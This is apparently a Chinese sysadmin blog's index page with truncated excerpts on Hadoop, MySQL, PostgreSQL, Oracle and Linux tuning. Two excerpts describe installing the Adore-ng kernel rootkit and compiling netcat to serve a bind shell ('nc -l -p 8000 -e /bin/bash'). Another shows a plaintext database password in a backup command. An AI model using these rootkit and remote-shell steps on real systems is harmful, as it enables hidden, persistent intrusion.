HDFS:利用archive管理大量小文件
HDFS:利用archive管理大量小文件 1、查看原目录 [hadoop@hadoop1 ~]$ hadoop fs -lsr /tmp/hartest -rw-r--r-- 2 hadoop supergroup 43 2013-06-13 13:56 /tmp/hartest/a.txt -rw-r--r-- 2 hadoop supergroup 43 2013-06-13 13:56 /tmp/hartest/b.txt -rw-r--r-- 2 hadoop supergroup 43 2013-06-13 13:56 /tmp/hartest/c.txt 2、创建归档 [hadoop@hadoop1 ~]$ hadoop archive -archiveName hartest.har -p /tmp/hartest /tmp/ 13/06/13 14:09:38 INFO mapred.JobClient: Running job: job_20130
HDFS :利用distcp在hdfs间传送数据
1、 查看数据源的文件是否存在,权限等信息 [hadoop@hadoop1 conf]$ hadoop fs -ls 192.168.2.31:9000/tmp/pageview.log Found 1 items -r--r--r-- 2 hc supergroup 187764409 2013-06-07 14:21 /tmp/pageview.log 2、使用distcp命令进行拷贝 [hadoop@hadoop1 conf]$ hadoop distcp -overwrite hdfs://192.168.2.31:9000/tmp/pageview.log hdfs://hadoop1:9000/tmp/pageview.log 13/06/13 13:29:55 INFO tools.DistCp: srcPaths=[hdfs://192.168.2.31:9000/tmp/pageview.log] 13/06/13 13
PostgreSQL建立分区表
Normal 0 7.8 磅 0 2 false false false EN-US ZH-CN X-NONE MicrosoftInternetExplorer4
Mysql导入PostgreSQL
Mysql导入PostgreSQL 异构数据库导入可以用FDW,但测试后发现FDW部分显示乱码,所以决定采用COPY 文本文件的方式,具体步骤如下: 1、转化DDL modeltrans.pl 2、MySQL端生成文本文件,并做相应转化,把换行符替换掉 mysql > SELECT CONCAT('select * from ', table_name, '
Adore-ng的使用
1、下载资源adore-ng-0.56.zip另外一个工具包,更简单ddrk.tgz 直接运行setup PASS PORT就可以了2、安装内核开发包yum -y install kernel-devel3、对内核软连接ln -s /usr/src/kernels/2.6.18-194.el5-x86_64/ /usr/src/linux4、编译Adore-nbmake5、查找空闲模块 [root@bitest adore-ng-0.56-wztfix]# lsmod | sort -r -k 3 | tail -5asus_acpi 50917 0 amd64_edac_mod 58609 0 adore_ng_2.6 60548 0 acpi_memhotplug 40261 0 ac 38729 0 6、查看模块位置[root@bitest adore-ng-0.56-wztfix]# modprobe -l ehci_hcd/lib/modules/2.6.18-194
linux nc使用
1、下载nc110.tgz2、修改sed -e 1319s/res_init/__res_init/ netcat.c > nc.cgcc -O -s -DGAPING_SECURITY_HOLE -DTELNET -DLINUX -static -o nc netcat.c3、启用nc -l -p 8000 -e /bin/bash4、客户端连接nc x.x.x.x 8000[@more@]
RMAN-06056 ORA-27092解决
刚接手一个库发现RMAN和EXP均无法正常备份,由于这个库没有任何容灾机制和备份策略,所致修复这个备份故障变得很重要,备份重于一切啊,最起码能在出现故障的时候不至于心慌。故障现象:EXPEXP-00056: ORACLE error 1116 encounteredORA-01116: error in opening database file 4ORA-01110: data file 4: '/u01/app/oracle/oradata/qm_erp/QMERPDATA01.dbf'ORA-27092: size of file exceeds file size limit of the processAdditional information: 8191Additional information: 665345RMANRMAN> report schema;using target database
xtrabackup使用
xtrabackup安装vi /etc/yum.repos.d/Percona.repo[percona] name = CentOS $releasever - Perconabaseurl=http://repo.percona.com/centos/$releasever/os/$basearch/enabled = 1gpgkey = file:///etc/pki/rpm-gpg/RPM-GPG-KEY-perconagpgcheck = 1yum -y install percona-xtrabackup libaio libaio-devel1、全备份innobackupex --user=root --password=8812345 --host=192.168.11.125 --defaults-file=/etc/my.cnf --no-timestamp ./full 2、增量备份1innobackupex --n
Percona版MYQL安装(转)
by netoearth mysql5.5 比mysql5.1有更快的innodb,更好的多核支持,加强的复制功能,这正是我看中的.Percona-Server是MySQL的衍生版,在功能和性能上较官方MySQL 又有着很显著的提升.Percona版和官方mysql.5.5.17下编出中文支持需用-DWITH_EXTRA_CHARSETS=all下面参数无法编出-DWITH_EXTRA_CHARSETS:STRING=utf8,gbk官方mysql.5.5.18两个参数都无法编译出中文支持…5.5起使用cmake编译,可以用yum安装5.6也可用此安装wget http://www.percona.com/redir/downloads/Percona-Server-5.5/Percona-Server-5.5.17-22.1/source/Percona-Server-5.5.
关于library cache lock和library cache pin严重等待的问题
今天系统出现严重等待问题,表现如下:1. 现象SQL> select count(*) from v$session;COUNT(*)----------379SQL> select count(*) from v$session where status='ACTIVE';COUNT(*)----------120当前情况,较正常时候,total session有所减少,active session增加了9倍。SQL> select * from v$session_wait where event not like 'SQL%' and event not like 'rdbms%';发现大量的library cache lock和library cache pin等待,最长等待session约为半小时。此时CPU使用率和内存使用率呈趋势性下降。2. 查看相关时间段内,DDL操作造成的
ORACLE Undo Advisor
General InformationPurposeUndo advisor gives users recommendation on setting undo retention and sizing undo tablespace. Undo retention is in seconds.Source{ORACLE_HOME}/rdbms/admin/dbmsuadv.sqlFirst Available10.1Data TypeCREATE OR REPLACE TYPE dbms_uadv_arr as VARRAY(100) of NUMBER;/DependenciesDBA_TABLESPACESDBMS_UNDO_ADVPRVT_ADVISORDBMS_SQLGV$DATABASEUTL_LMSDBMS_SYS_ERRORGV$PARAMETERX$KSPPCV2DBMS_UADV_ARRGV$ROLLSTATX$KSPPIDBMS_UNDOADV_LIBPLITBLM Overload DefinitionsOverload 1Subprogram is base
linuxr下sar调优工具的深入分析
一)关于CPU资源的监控sar 1(将所有CPU合并到一起进行监控)sar -P ALL 1 100(可以显示每个CPU现在的负载)如下:sar -p 1 Linux 2.6.32-16-generic (ubuntu) 03/23/2011 _x86_64_ (1 CPU)10:34:49 AM CPU %user %nice %system %iowait %steal %idle10:34:50 AM all 0.00 0.00 0.00 0.00 0.00 100.0010:34:51 AM all 0.67 0.00 1.33 0.00 0.33 97.6710:34:52 AM all 0.00 0.00 0.66 5.96 0.00 93.3810:34:53 AM all 2.00 0.00 1.33 0.00 0.33 96.3310:34:54 AM all 0.00 0.00 0.00 0.00 0.00 100.0010:34:55 AM all 0.67 0.00 0.67 0.00 0.00
Enabling InnoDB Large Pages on Linux
In MySQL 5.0, InnoDB gained the ability to use Linux Large Page support for allocating memory for the buffer pool and additional memory pool. A few customers have asked about using it and there is virtually no documentation on what is required on Linux to enable it. I actually ended up having to read some of the Linux kernel source code to figure out some of this.This uses the API as documented at:http://www.mjmwired.net/kernel/Documentation/vm/hugetlbpage.txtTo set this up and use it, you first
在Linux 中为oracle配置hugepage的方法
在Linux中配置hugepage可以提高oracle的性能,减少oracle sga的页交换,类似于aix中的lagepage。下面演示配置hugepage的方法。系统环境:OS:CentOS5 x86Oracle:10.2.0.1配置过程检查hugepagesizeora_test@root[/root]> grep Hugepagesize /proc/meminfoHugepagesize: 4096 kB配置分配hugepage的数量nr_hugepages的计算公式:nr_hugepages>=sga(mb)/Hugepagesize(mb)ora_test@root[/root]> echo 50 > /proc/sys/vm/nr_hugepagesora_test@root[/root]> sysctl -w vm.nr_hugepages=50vm.nr_hugepages = 50ora_test@root[/ro
MySQL DBA备份工具Xtrabackup使用指南(转)
[@more@]一.Xtrabackup 简介及备份原理说明:Xtrabackup是由percona开发的一个开源软件,能够非常快速地备份与恢复mysql数据库,且支持在线热备份(备份时不影响数据读写),此软件可以说是innodb热备工具ibbackup的一个开源替代品Xtrabackup中包含两个工具:l xtrabackup -用于热备份innodb,xtradb引擎表的工具,不能备份其他表。l innobackupex-对xtrabackup封装的perl脚本,提供了用于myisam(会锁表)和innodb引擎,及混合使用引擎备份的能力。 Xtrabackup可以做什么l 在线(热)备份整个库的InnoDB, XtraDB表l 在xtrabackup的上一次
使用hb_gui 配置heartbeat
前面几天用了不少的篇幅来讲解heartbeat v1和v2的配置,其中也提到,v2 style格式是基于CRM(集群资源管理)程序的,并提供了GUI(图形化)管理工具,可以用于配置和监控HA集群的状态。不过,由于官方关于这部分的说明不是很多,而且该工具也的确比较难用。主要缺少提示性描述和对输入内容的监控。经过几天的摸索,可以实现一些基本的配置,下面就以一个具体例子来说明。一、架构由于也是刚开始摸索这块的内容,暂时只能提供基础的功能实现方式,如果其中有描述错误的地方,请谅解,并告知我解决方法,谢谢!这个架构是沿用我们之前的测试
mysql ndb集群备份数据库和还原数据库的方法
1、在管理节点上进行备份。ndb_mgm> start backupWaiting for completed, this may take several minutesNode 3: Backup 3 started from node 1Node 3: Backup 3 started from node 1 completedStartGCP: 1249 StopGCP: 1252#Records: 2058 #LogRecords: 0Data: 50752 bytes Log: 0 bytesndb_mgm> shutdownNode 2: Cluster shutdown initiatedNode 3: Cluster shutdown initiatedNode 2: Node shutdown completed.Node 3: Node shutdown completed.2 NDB Cluster node(s) have shutdown.Disconnecting to allow management server t
MySQL Cluster Local Checkpoint (LCP) and Global Checkpoint (GCP)
MySQL Cluster Local Checkpoint (LCP) and Global Checkpoint (GCP)Submitted by Shinguz on Thu, 2010-07-29 15:29 configuration english gcp global checkpoint lcp local checkpoint MySQL Cluster parameter MySQL Cluster is mainly an in-memory database. Nevertheless it requires a good I/O system for writing various different information to disk.The information MySQL Cluster writes to disk are the:Global Checkpoints (GCP) which are the transactions. Local Checkpoints (LCP) which is a dirty image of the d
MySQL运行状态show status中文详解
状态名 作用域 详细解释Aborted_clientsGlobal由于客户端没有正确关闭连接导致客户端终止而中断的连接数Aborted_connectsGlobal试图连接到MySQL服务器而失败的连接数Binlog_cache_disk_useGlobal使用临时二进制日志缓存但超过binlog_cache_size值并使用临时文件来保存事务中的语句的事务数量Binlog_cache_useGlobal使用临时二进制日志缓存的事务数量Bytes_receivedBoth从所有客户端接收到的字节数。Bytes_sentBoth发送给所有客户端的字节数。com* 各种数据库操作的数量CompressionSession客户端与服务器之间只否启用压缩协议Connectio
RAC+DATAGUARD环境下主备切换
RAC+DATAGUARD环境下主备切换环境介绍该文档的操作步骤适用于Primary DB为RAC,Standby DB为single instance 的环境,在执行操作前要确保主库的物理备份完成,以备切换失败的恢复,另RAC和备库的参数文件已经备份与$ORACLE_HOME/dbs目录下,主库的pfile=$ORACLE_HOME/dbs/pfile_primary.ora,备库的参数文件已经备份在pfile=$ORACLE_HOME/dbs/pfile_standby.ora ,主库的备份脚本位于节点3的/home/oracle/myscripts/将主库切换到备库1、 停止中间件服务器2、 确认无应用程序连接后,将主数据库进行全库备份,已确保在切换到主库过程中失败并